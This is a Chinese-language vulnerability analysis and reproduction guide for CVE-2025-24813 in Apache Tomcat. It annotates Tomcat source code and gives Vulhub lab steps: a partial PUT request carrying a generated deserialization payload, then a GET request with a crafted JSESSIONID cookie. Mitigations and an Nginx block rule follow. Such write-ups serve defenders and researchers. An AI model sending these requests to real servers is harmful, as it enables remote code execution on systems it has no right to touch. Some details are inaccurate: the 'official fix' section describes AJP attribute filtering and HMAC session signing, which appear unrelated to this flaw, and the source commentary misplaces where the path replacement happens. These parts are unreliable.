漏洞概述
漏洞名称:Tomcat 路径等效漏洞+反序列化远程代码执行(RCE)
CVE 编号:CVE-2025-24813
CVSS 评分:9.8
影响版本:
- 9.0.0.M1 ≤ Tomcat ≤ 9.0.98
- 10.1.0-M1 ≤ Tomcat ≤ 10.1.34
- 11.0.0-M1 ≤ Tomcat ≤ 11.0.2
修复版本:≥ 9.0.99 / 10.1.35 / 11.0.3
漏洞类型:路径遍历 + 反序列化RCE
根本原因:
- 路径等效缺陷:Tomcat 处理
partial PUT
请求时未正确规范化含../
的路径,导致恶意文件可写入敏感目录。 - 反序列化缺陷:结合文件会话持久化机制及存在漏洞的反序列化库(如 Commons-Collections),可触发远程代码执行。
漏洞原理与源码分析
1. 漏洞触发条件
需同时满足以下非默认配置:
- 显式启用 DefaultServlet 写入功能:在
conf/web.xml
中配置readonly=false
(默认true
)。 - 启用基于文件的会话持久化:在
conf/context.xml
中配置PersistentManager
+FileStore
(默认基于内存)。 - 类路径包含反序列化利用链库:如
commons-collections-3.2.1.jar
。 - 启用 partial PUT 请求(默认开启)。
2. 关键源码定位
(1)路径处理缺陷:FileStore#save
代码路径:org.apache.catalina.session.FileStore
public void save(Session session) throws IOException {
File file = this.file(session.getIdInternal());// 会话ID生成文件
if (file != null) {
if (this.manager.getContext().getLogger().isTraceEnabled()) {
this.manager.getContext().getLogger().trace(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()}));
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
try {
ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));
try {
((StandardSession)session).writeObjectData(oos); // 序列化数据写入文件
} catch (Throwable var9) {
try {
oos.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
throw var9;
}
oos.close();
} catch (Throwable var10) {
try {
fos.close();
} catch (Throwable var7) {
var10.addSuppressed(var7);
}
throw var10;
}
fos.close();
}
}
漏洞点:将会话ID中的 /
替换为 .
(如 poc/session
→ poc.session
),但未过滤 ../
,导致路径遍历。
(2)Partial PUT 文件写入:DefaultServlet#doPut
代码路径:org.apache.catalina.servlets.DefaultServlet
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {// 1. 只读模式检查(默认true安全)
this.sendNotAllowed(req, resp);
} else {// 2. 获取未经验证的相对路径(核心漏洞点)
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
// 3. 解析Content-Range头(支持partial PUT)
Range range = this.parseContentRange(req, resp);
if (range != null) {
InputStream resourceInputStream = null;
try {
if (range == IGNORE) {
// 4a. 完整文件上传
resourceInputStream = req.getInputStream();
} else {
// 4b. 分块上传处理(漏洞利用关键)
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
// 5. 将输入流写入目标路径(无路径校验)
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
try {
resp.sendError(409);// 409 Conflict
} catch (IllegalStateException var15) {
}
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var14) {
}
}
}
}
}
}
绕过机制:攻击者通过 partial PUT
上传含 ../
的路径(如 /uploads/../work/session
),经替换后生成 .work.session
文件,落入会话存储目录 work/Catalina/localhost/ROOT
。
(3)反序列化触发点:FileStore#load
代码路径:org.apache.catalina.session.FileStore#load
public Session load(String id) throws ClassNotFoundException, IOException {
File file = this.file(id);
if (file != null && file.exists()) {
Context context = this.getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isTraceEnabled()) {
contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);
ObjectInputStream ois;
try {
FileInputStream fis = new FileInputStream(file.getAbsolutePath());
StandardSession var9;
try {
ois = this.getObjectInputStream(fis);
try {
StandardSession session = (StandardSession)this.manager.createEmptySession();
session.readObjectData(ois); // 这里是实际反序列化
session.setManager(this.manager);
var9 = session;
} catch (Throwable var19) {
if (ois != null) {
try {
ois.close();
} catch (Throwable var18) {
var19.addSuppressed(var18);
}
}
...
RCE链:当用户访问携带恶意 JSESSIONID
的链接(如 JSESSIONID=.poc
)时,loadSessionFromStore()
加载文件并反序列化,若环境中存在 commons-collections
等利用链,则执行任意代码。
3. 漏洞利用链
漏洞复现
1.使用 Vulhub 环境启动漏洞靶机
docker-compose build
docker-compose up -d
- 如果启动有问题可以尝试
docker build -t my-tomcat .
docker run -d --privileged -p 8080:8080 my-tomcat
2.访问 http://target:8080,确认服务正常运行
3.下载Yakit工具
4.下面进行最简单的URLDNS验证
,无需导入其他恶意包
在(
https://dig.pm/
)申请域名
启动
yakit
,使用下面图片中的功能
选择
URLDNS
,输入之前申请的域名,然后生成base64的payload
- 在
yakit
发送请求包(不要用bp),打开如下功能
- 先发送如下请求包
PUT /666/session HTTP/1.1
Host: 192.168.1.100:8080
Content-Length: 2102
Content-Range: bytes 0-1000/1200
{{base64dec(恶意代码)}}
//将ip换为自己的,恶意代码换为之前生成的base64的payload
- 紧接着快速发送如下请求
GET / HTTP/1.1
Host: 192.168.1.100:8080
Cookie: JSESSIONID=.666
- 返回
dig.pm
点击get results
获取到记录
影响范围与修复方案
1. 受影响版本
Tomcat 分支 | 受影响版本 | 安全版本 |
---|---|---|
9.x | 9.0.0.M1 - 9.0.98 | ≥ 9.0.99 |
10.x | 10.1.0-M1 - 10.1.34 | ≥ 10.1.35 |
11.x | 11.0.0-M1 - 11.0.2 | ≥ 11.0.3 |
2. 官方修复方案
- 补丁提交:GitHub Commit
- 修复逻辑:
- 路径规范化校验:在
FileStore#save
中禁止路径含../
。 - 禁用危险属性:在
AjpProcessor
中拦截javax.servlet.include.*
属性。 - 强制会话文件签名:添加 HMAC 校验防止篡改。
- 路径规范化校验:在
3. 临时缓解措施
措施 | 操作步骤 |
---|---|
禁用 DefaultServlet 写入 | 在 conf/web.xml 中设置 <param-value>true</param-value> |
关闭文件会话持久化 | 移除 conf/context.xml 中的 <Manager> 配置 |
移除反序列化漏洞库 | 删除 WEB-INF/lib/ 下的 commons-collections-3.x.jar 等危险库 |
网络层拦截 | Nginx 配置过滤含 ../ 的请求:if ($request_uri ~* "\.\.") { return 403; } |
漏洞启示:
- 配置最小化:生产环境禁用非必要功能(如
readonly=false
和文件会话持久化)。 - 依赖库安全管理:定期扫描
WEB-INF/lib
中的危险库(如 Commons-Collections)。 - 纵深防御:结合代码补丁、WAF 规则(拦截
../
和partial PUT
)和文件监控(审计work/
目录)。 - 漏洞利用复杂性:尽管需多条件叠加,但企业内网中易存在错误配置,需全面自查。
参考链接
- Apache 官方安全通告 - 修复版本下载
- 漏洞原理深度解析(Akamai) - 攻击流量分析
- 复现指南与环境配置(腾讯云) - 详细 PoC 步骤